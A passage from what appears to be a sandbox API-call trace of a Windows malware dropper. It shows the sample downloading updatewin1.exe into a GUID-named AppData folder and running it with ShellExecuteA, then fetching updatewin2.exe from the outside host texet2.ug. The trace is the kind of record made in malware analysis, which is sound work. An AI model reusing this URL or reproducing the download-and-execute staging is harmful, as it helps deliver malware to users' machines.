Flags=0x0, Size=0x20) returned 0x3007fa0 [0046.032] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30182c8 | out: hHeap=0x670000) returned 1 [0046.032] lstrcpyA (in: lpString1=0x30693c0, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598" [0046.032] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598", pMore="updatewin1.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe") returned 1 [0046.032] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x2f89238 [0046.032] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5d8 [0046.032] SetFilePointer (in: hFile=0x5d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.032] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0046.033] WriteFile (in: hFile=0x5d8, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0046.034] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0046.035] WriteFile (in: hFile=0x5d8, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0046.035] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0046.035] WriteFile (in: hFile=0x5d8, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0046.035] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0046.036] WriteFile (in: hFile=0x5d8, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0046.036] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0046.036] WriteFile (in: hFile=0x5d8, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0046.036] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0046.037] WriteFile (in: hFile=0x5d8, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0046.037] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0046.037] WriteFile (in: hFile=0x5d8, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0046.037] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0046.165] WriteFile (in: hFile=0x5d8, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0046.166] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0046.166] WriteFile (in: hFile=0x5d8, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0046.167] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0046.167] WriteFile (in: hFile=0x5d8, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0046.167] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0046.167] WriteFile (in: hFile=0x5d8, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0046.168] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0046.168] WriteFile (in: hFile=0x5d8, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0046.168] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0046.168] WriteFile (in: hFile=0x5d8, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0046.169] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0046.236] WriteFile (in: hFile=0x5d8, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0046.237] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0046.237] WriteFile (in: hFile=0x5d8, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0046.237] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0046.237] WriteFile (in: hFile=0x5d8, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0046.238] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0046.238] WriteFile (in: hFile=0x5d8, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0046.238] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0046.333] WriteFile (in: hFile=0x5d8, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0046.334] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0046.334] WriteFile (in: hFile=0x5d8, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0046.335] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0046.335] WriteFile (in: hFile=0x5d8, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0046.336] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0046.336] WriteFile (in: hFile=0x5d8, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0046.337] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0046.337] WriteFile (in: hFile=0x5d8, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0046.337] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0046.337] WriteFile (in: hFile=0x5d8, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0046.337] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0046.452] WriteFile (in: hFile=0x5d8, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0046.452] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0046.452] WriteFile (in: hFile=0x5d8, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0046.453] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0046.453] WriteFile (in: hFile=0x5d8, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0046.454] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0046.455] WriteFile (in: hFile=0x5d8, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0046.455] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0xa00) returned 1 [0046.455] WriteFile (in: hFile=0x5d8, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0xa00, lpOverlapped=0x0) returned 1 [0046.455] CloseHandle (hObject=0x5d8) returned 1 [0046.458] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0046.463] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0046.464] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin1.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0047.166] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2f89238 | out: hHeap=0x670000) returned 1 [0047.166] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3007fa0 | out: hHeap=0x670000) returned 1 [0047.166] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a450 | out: hHeap=0x670000) returned 1 [0047.167] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0047.167] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30fec08 [0047.167] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x864) returned 0x3100c28 [0047.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30fec08, cbMultiByte=-1, lpWideCharStr=0x3100c28, cchWideChar=1074 | out: lpWideCharStr="http://texet2.ug/tesptc/penelop/updatewin2.exe") returned 47 [0047.167] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x870) returned 0x306a418 [0047.167] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0047.167] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fec08 | out: hHeap=0x670000) returned 1 [0047.167] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x870) returned 0x3100c28 [0047.167] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x832) returned 0x30d0a90 [0047.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://texet2.ug/tesptc/penelop/updatewin2.exe", cchWideChar=-1, lpMultiByteStr=0x30d0a90, cbMultiByte=2098, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://texet2.ug/tesptc/penelop/updatewin2.exe", lpUsedDefaultChar=0x0) returned 47 [0047.167] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0047.167] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d0a90 | out: hHeap=0x670000) returned 1 [0047.167] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0047.167] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://texet2.ug/tesptc/penelop/updatewin2.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0047.296] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0047.296] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x99ad6d0, lpdwBufferLength=0x99ad710, lpdwIndex=0x0 | out: lpBuffer=0x99ad6d0*, lpdwBufferLength=0x99ad710*=0x4, lpdwIndex=0x0) returned 1 [0047.296] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30fec50 [0047.296] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4618 [0047.296] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fec50 | out: hHeap=0x670000) returned 1 [0047.296] lstrcpyA (in: lpString1=0x30693c0, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598" [0047.296] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598", pMore="updatewin2.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin2.exe") returned 1 [0047.296] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5ba0 [0047.296] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x688 [0047.297] SetFilePointer (in: hFile=0x688, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.297] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.298] WriteFile (in: hFile=0x688, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.299] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.365] WriteFile (in: hFile=0x688, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.365] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.365] WriteFile (in: hFile=0x688, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.366] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.424] WriteFile (in: hFile=0x688, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.425] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.425] WriteFile (in: hFile=0x688, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.426] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.426] WriteFile (in: hFile=0x688, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.426] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.511] WriteFile (in: hFile=0x688, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.511] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.512] WriteFile (in: hFile=0x688, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.512] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.512] WriteFile (in: hFile=0x688, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.512] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.513] WriteFile (in: hFile=0x688, lpBuffer=0x99ad778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x99ad6dc, lpOverlapped=0x0 | out: lpBuffer=0x99ad778*, lpNumberOfBytesWritten=0x99ad6dc*=0x2800, lpOverlapped=0x0) returned 1 [0047.513] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x99ad778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x99ad6d8 | out: lpBuffer=0x99ad778*, lpdwNumberOfBytesRead=0x99ad6d8*=0x2800) returned 1 [0047.519] WriteFile (in: 